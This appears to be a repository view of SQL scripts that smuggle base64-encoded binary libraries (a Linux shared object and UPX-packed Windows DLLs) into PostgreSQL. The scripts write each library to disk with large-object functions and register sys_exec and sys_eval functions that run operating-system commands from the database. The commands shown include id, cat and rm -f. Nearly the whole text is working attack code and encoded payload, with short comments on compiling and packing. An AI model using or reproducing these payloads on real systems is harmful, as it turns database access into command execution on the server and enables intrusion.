4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA';
-- UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg';
-- UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA==';
-- Create a new OID for a large object, it implicitly adds an entry in the
-- PostgreSQL large objects system table
--
-- References:
-- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
-- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
SELECT lo_unlink(35817);
SELECT lo_create(35817);
-- Update the PostgreSQL system large objects table assigning to the just
-- created OID the binary (base64 decoded) UDF as data
--
-- Refereces:
-- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817;
-- Export the binary UDF OID to a file on the file system
--
-- Any folder where postgres user has read/write/execute access is valid
SELECT lo_export(35817, '/tmp/lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres
--
-- Notes:
-- If the library file already exists and the postgres user has write
-- access over it, it can overwrite the file
-- The following enumerates the PostgreSQL data directory
-- SELECT CURRENT_SETTING('data_directory')
-- Reference:
-- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html
-- The following will save into /var/lib/postgresql/M.m/main/lib_postgresqludf_sys.so
-- SELECT lo_export(35817, 'lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres
-- The following would save into / (Permission denied)
-- SELECT lo_export(35817, '/lib_postgresqludf_sys.so');
-- Create two functions from the binary UDF file
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-- Test the two functions
SELECT sys_exec('echo test > /tmp/lib_postgresqludf_sys.txt'); -- -rw------- 1 postgres postgres
SELECT sys_eval('cat /tmp/lib_postgresqludf_sys.txt ; id');
-- Cleanup the file system and the database
SELECT sys_exec('rm -f /tmp/lib_postgresqludf_sys.*');
DROP TABLE IF EXISTS udftest;
DROP FUNCTION IF EXISTS sys_exec(text);
DROP FUNCTION IF EXISTS sys_eval(text);

View File

@@ -0,0 +1,104 @@
-- Notes:
--
-- The DLL compiled using PostgreSQL 8.3 C libraries differs from the one
-- compiled using PostgreSQL 8.2 C libraries
--
-- DLL compiled using PostgreSQL 8.3 C libraries
-- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
-- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
--
-- DLL compiled using PostgreSQL 8.2 C libraries
-- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
-- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
--
-- Little hack to compress the dynamic-linked library:
-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
-- * Remember to compile it under Visual C++ 2008 with the
-- 'Configuration' set as 'Release'
-- * Use upx (http://upx.sourceforge.net) over the DLL:
-- * upx -9 library.dll -o library_upx.dll
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data text);
-- Insert the base64 encoded UDF in the table
-- DLL compiled using PostgreSQL 8.3 C libraries
INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMA+iGDSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCcR4kqVtpBAFE1UAABYLAAAAIAAAJgAAnUB2Sf64AAAQ+MPMDxEM/9/+f1NVi2wkDItFEFZXUOgbAeaL2Iszwe4Cg+4Ef/ff/Y1OAVH/FT+MVo1TBIv4UlcgCpBXxgQ3APd/7GMXhFeL8AiUg8QcO10QdAlTQkDO/tvsDQRfi8ZeXVvDbxC6/7Z9gewIBBKhAiAAM8SJhCQEDYtvsvbZBgxAEI2GLXi8fcBudIs3jNVWg8eI2FdTbXfZjmoBiTPVaGIUU4q79tvYM/+MiCBTjVQkOBZTUon/9m3sXCQ8FnyVLIXAdMpEJBSNUAGKG2tv/whAhMl1+SvCLY0sO3YjeETdH/tuUx8gUAP+VxCAi0wkJFFNLO3lsCeL/UsgdbSLXP67sbMQqFMXkPmAPgB0BcZEN/+69gPbz8Zng8AEUKvQxj6Ze+ckGI2kJAAAH40EhRDH/oXtD4kHNlCNTwRWUe+LjLD5gmuZhF0Mi8dfM8zWXTj8KfKBxFFi/yWBqAX92z88pDsNYHUC88PpCAWvi/9WaIAXYmXMXORw7a5ZWd3/f5ejI1gEVIX2dQUzwEBew4MmAFYHtit83X1oBKcJZnKpBrkLe6O1NlkjIk407FFRCv8Ku385RQx1DjkFaxB+ZXMQg30Mu4XG3QGLCRBIiw3MiQojSC3stu4PhdR9ZBcYBot5wjW7dnfbICiJPVC7HlDrGEqnBHJw';
UPDATE udftest SET data=data||'4cH+O8d0F2joA6gsagDp/9bwrtveaOfrB8csATyhL0xqAl797d7dyQlqH5IJJus8qhDABLjHBbOufe8fKBog4CcHXOP9+75vILQEsBsaWYk1KzR3f+52WTmydQhpczA5PRVcdBxW+tu9aAYoCFxDDf91IAPDF9veCCMW//FUbAHsjzU33AgBodt4BINl/ADfJBPZ2dsP1PxvbLD2g/gCZtJZW/+gvBm2sVhLUDFZLjUPhIfXHO07xxlUE00UGNjGt38QiX0Ig+8EO8hyUYM/f/NqmG3tt5wHdOn/NyYg+BBmbbbQXLn4VhVE1rjj9htHTfhVOU0QA9C7bVv7CHS0iQkCDBoIYOun9ogxO2kM5FlELoXtK8Q4WAZMMvw//g1HkFBDm1vJwgwAahBzf3sbQxIo0MT5i/KLXQgcVOFld3vkM8lc/Il9IAj8O/FaP7YWYzk6RBfkr2g728Kb//B0BYP+AnUuoew7wXSeVl/QzizccDte5AADkxFO9uB2WgJQFBaAEgkyzloN/yf+AXUkZCBOE1fXEJsVdy9S0gYRDftrtFP3agN1Q09hhz3bNAMhaHQuLCV/8bZw4esbceyLFwmq4FBRtMKl8mQsEGXo9i/brm04+tL+/wAZBYEq5KSuPX4hncOW7Bb/O3B8hdMkahvWVDO8u1V9RFUMDQR2WV04ItpQLhAnKANfISBzc/NmQwUciRUYiR0UiTU023dzEIk9DGaMGDgGDSyzNEuzHQgFBCWsfXdLAC1//JyPFDCVVvbPn20kBwQojUUINIuF4Pygrp2NsapwlQEcGWNs69ggJBMYCWXACRyzls/dNWCJhdgyCgTcKvCNYQMUNGidBqcz/rRsWWr3GHkt77D2fRyDPSAA+SNoW9NjBWIbegYkycOAkY8L30Aecl9qFEpQ9FhISRWq+KLG4fefnBBkWetnagg3hFmP7dYdkhsnNVk04PXzHW6FvwPkUH9LdIytbT9gCn4c3BQs1uK0VypbCeAb0jpnk+Ul2wdd3Gx4/u/c';
UPDATE udftest SET data=data||'hFnZThYGwffYG8D32FlIXX/p221WuLwYvgRXUDvGcw+LB/QOGh1TAlDNO/5y8SnkOawwJSAg7RsxEz9lMQi4TVoql39X+mY5AXQEVGRBPAPBgThQRXXviRv8+zPSuQsBHEgYD5Tfwl1+35qGLT/ZSDHID7dBDbbbEjhWBXEGM1f4b43G0ggYDXbgnBwMO/nab/D/cgmLWAgD2Tv7cgpCvCg71nLoag+H7JnbTk9q/p9w8wUcm2i1ZA7+UIPsCN1wawwlMWIzxWzwZKMLn6H0GoksSAloS/CuMzEGbMwS61WXNMvDvi0TUBkIDAg7QbjwWxskwegf9wvgAYW77dQKA08ZAFmUi+Xr2E5qlpkByj2lwPqyFuwUmS+7MSNjJ7EzPAVARPlxSSNMpRKsEOw7uQ5jCWEQxab7CwOPWe9W+TbLNttSkGwDjSvg+lgDzZn88Tyq/Ipgk2Agcw3DlQ4O42yWUUoUdT50uxnaaQH2BCAUCopW7PdYGFij7BBofjQH/8j4U1e/TuZAu3pmU6HEHXgNhcMnNZBiUmvxBOtg+3hfC8VaW4F1mJILh/DmyiBjBzQInSf9re1oGPQzDBE793UHvk8IfBffWesLhfN1o8HgEAvwxCOUPvYA99YHBF5fW7Y/mCMjI2MFnFhcYAKyIyNoVAAAlAp5AAIFALPsPmqpwRQRIwNkaAZpugNAAXJI/36JMn1REhBLUlNEU/9///9ie5Q0/rQnQb7gu040vsrDF0M6XERvY3VtZW50/9v//3MgYW5kIFNldHRpbmdzXEFkbQdpc3RyYXRvci63t/b/VzJLM1NURU5VUERBBjNlc2sWcFzt/9/+c2hhcmVcdiZ1YWxfY3BwX3Byb2plY3Q+2/+2/GxpYl9wb2cfc3FsdWRmX3N5FVLDfoH9ZWxlYXNlHS5wZGLRfC8WyLUZlwfQYF0lmw/HhQdOyWHdUQNlJ8wHYXQn7MAP2B8I6wP/IAABSfBBqSDKIiIBZt8NsRm/RP8Ag1EGjKpgApIYBVBU';
UPDATE udftest SET data=data||'gC0oFP8vzxR4EAFHZXRDdXJyZW50//+R/1Byb2Nlc3NJZFN5c3RlbVRpbWVBc0ZpbGWt/RZ7CRgIY2tDb3UvDYu1v/1RdWVyeVADZm9ybWFuPBYO/Vv3WxhEaXNhYjNoV2FkTGlicmFW/m+/J0NhbGxzb0lzRGVidWdnZXJt2/ayuXZUU1VuaEBkMWRhMffbRXhGcHRpb25zShmgbSlbuRJUF99kbQlEYR4RSZBsc9utbQxrQJ1tcIdlR1GEteaaf3dVUSLCbNmyG1zEFXd7moUzhTxfY2l0NG3fDVhtCl80X2Ftc2cIeO9+4a8RC2RqdUJfZmRpdg1fQ3BwQPvD2lhjv7xfZGVjbwNtYcISlGkyXW0e1t4ruHkYQosy9QlMFizYbk0TD2Xt9gkjDV8bcjRfTG1tHGbX/n0YbldkX251PURtYdzCxrZjHnI0bnPY3Qzb9h0IZvJ0LK5ybrnbO4yEc/zdKnBlVeYK7ZtFD2MHtDA6twnOve9WyM6Lb29D+9ZitiJWbl90eTkctlBoDRqJFYpfcnuahS0KbEaRpHBFuODePXBnQ3RvYXNLunVt///PAlYQMBgJHxYjKgsXJBEXEQeCBgb2////FwkHBRYMHggKCxYJGBgVBQYbBQwQBgcXBiEFEQ++/2//BhQhEQsIKyIFBw0RHQ0YUy1IOAYAB9u+XU4IDAkzCgkLDFsFFr/922UWDgs0FQsYFg09BUK4BRIeFGub/90GaTIRDA4dTQUXIw0MJAgkAFPB/x/wJgY0BGAE6AgEHBwEAFL5D6t/TAEFAPohg0k04AACIQsBCcDsN2kMWwCQFQsz971HGgkLAt4e36X5ZgcDYATbzx5Ae7bsvQEqAgcGcCYHs33LZriMIlAUQE+wNdubMgBQn3fQHGWxA1nVGCFCAJsfSLovsC50ZXh0mgoestlgkAy3QmAucgmD3BrLYfsoBwgTfa85bAJALib+A23KTtOUMAInwE/7XrDGc3KA67BzGk9ujkYAUqlPjAFvSgZpUB5C';
UPDATE udftest SET data=data||'GwDgk9uMIxKhUlMAAAAAAAAAAACQ/wAAAAAAAAAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOmnmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAAD5IYNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAgBAAABAQAACQEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- DLL compiled using PostgreSQL 8.2 C libraries
-- INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMAUx6DSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCXeP6gEDsfuvE1UAABwLAAAAIAAAJgAAXkB2Sf64AAAQ+MPMDxEM+9/+f1NVi2wkDItFEFZXUOgbAgKL2Iszgeb/AN1/938/g+4EjU4BUf8VQoxWjVMEi/hSVyMK/7GP/bBXxgQ3ABeEV4vwCJSDxBw7XRB0W/Zv3wlTRQgNBF+Lxl5dW2p/bfllLxDDEoHsCAShAu2zdf8gADPEiYQkBA2LBgxAEJ2F3d5kli2FgYs3nLIdefvVVoPHmNhXU2oBmTO3sdvu1WhlFFOaM/+ciCBTjdvYd+1UJDgWVlKJXCQ8FnylLLf///+FwHRbjUQkFI1QAesDjUkAighAhMl1+SvCMo0sfbeNtTt+KHhJUyQgUAP+V9iT7o8QgItMJCRRUiyL/VDY2fZyIHWvi2EQsFMXXzh8w5AOgD4AdAQ3FsZEN/+u/bK7AHCNZCRvg8AEULjggbnyucYsHKQAH/Ync+2JBxwZElCNRwRWUPjNF1w7i4ydiHYMi8dfM+7C4YfMNQ6BxF1u/yWF3/7hsagFpDsNbHUC88PpCAXLi/8QK2PuVmiAaOhw8f7/u7zHWVmjI1gEVIX2dQUzwEBew4MmAF3h6+5WB5loBMMJgnulBhuttbHVC1kjIk5Q7FfY/dtRUQo5RQx1DjkFaxB+bnMtNO7+EIN9DAGLCRBIiybYiWG3dd8KI0gPhdR9ZBcYBot5y7W72241ICiJ';
-- UPDATE udftest SET data=data||'PVC7HlDrGEoLD/bfpwSOO8d0F2joA6gsagDy/3fd9obWbOfrB8csATyhL0xqAm/37oZe0glqH5IJRus8qhDABHXte++4xwUfKBpA4CcH79/3nVyLILQEsBs6WYk1K/tztxs9WTmydQhpczA5PRXS3+69XHQcaAYoCHxDDf91PL7Y9rYDCCMW//FUiH+suRkB3AgBodt4BINl/ACZyM5m39sP1Pxjg7Ung/gCZtJZW//NsI19oFhLUDFZLjXmaN/hD4SHxxlUE0kU8e2luxgQiX2N7wQ7yHJRgz/b2j+2g/NqbDkHdOn/NyYg+BDabKExXLn4VhVxx+3NRBtHTfhVOU0Q27b2rQPQCHS0iQkCDBoIYGN20nbrp/YM/VlELttXiBE4WAZMMvwbjiALP1BDm1u/9Db8ycIMAGoQQxIo0Fv5i/KLXbK7vbkIHFTkM8lc/Il9IAhbi7Hw/DvxWjk6RBfk4c3/H6+EO/B0BYP+AnUuoew7wXSeFm64bVZf0Dte5AADkz24D2cR/mwUFoBWw7+TEglSJ/4BdSRkIFrEZoWzE1d3L1L+Gu010gYRU/dqA3VDYc92w080AyFodC4sLVx42CV/6xtx7IsXCXCpfLyq4FBRZEwQZei5Gg6t9i/60v67tcdv2xkFnSrkIb3DluyvcJrUFv87JGobd7cKjvZUfUhVDA0EklnKBWKGXTgiMygDbt5MG18hIEMFHIkVGIkd+25ubhSJNRCJPQxmjBg4BmZplmYNLB0IBe9uaZYEJQAtf/ycjxT5s421MJVWJAcEKI1FCLMx1v40i4Xg/KCqcJUBbR3btRwZICQTGAllwLm7ZowJHLNgiYXYMr4xzPIKBNwDFDRodMZfBaa0jFlq9xjWvs/geUYcgz0gAPkjrEDsHWhbG34G8cJ7eiTJw4BAHhTDahQLKSnySlAVqvj8/pMeopwQZFnrZ2oIN6RZQ3LDOI/tJzXDrdC6WTTg9b8D5FB/bSNgvkt0Zp4c3CpbjK0ULNbiCeDlJbRXG9I6';
